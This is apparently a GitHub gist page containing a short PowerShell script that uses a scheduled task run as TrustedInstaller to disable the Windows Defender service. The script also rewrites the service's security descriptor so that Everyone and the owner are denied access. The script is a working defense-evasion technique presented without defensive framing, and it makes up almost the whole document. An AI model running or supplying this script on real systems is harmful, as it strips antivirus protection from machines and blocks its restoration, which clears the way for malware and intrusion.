-
-
Save H0K5/a66a7ee9f9927f6caba4fe8f92461dd8 to your computer and use it in GitHub Desktop.
Revisions
-
tyranid created this gist
May 4, 2020 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,12 @@ $cmdline = '/C sc.exe config windefend start= disabled && sc.exe sdset windefend D:(D;;GA;;;WD)(D;;GA;;;OW)' $a = New-ScheduledTaskAction -Execute "cmd.exe" -Argument $cmdline Register-ScheduledTask -TaskName 'TestTask' -Action $a $svc = New-Object -ComObject 'Schedule.Service' $svc.Connect() $user = 'NT SERVICE\TrustedInstaller' $folder = $svc.GetFolder('\') $task = $folder.GetTask('TestTask') $task.RunEx($null, 0, 0, $user)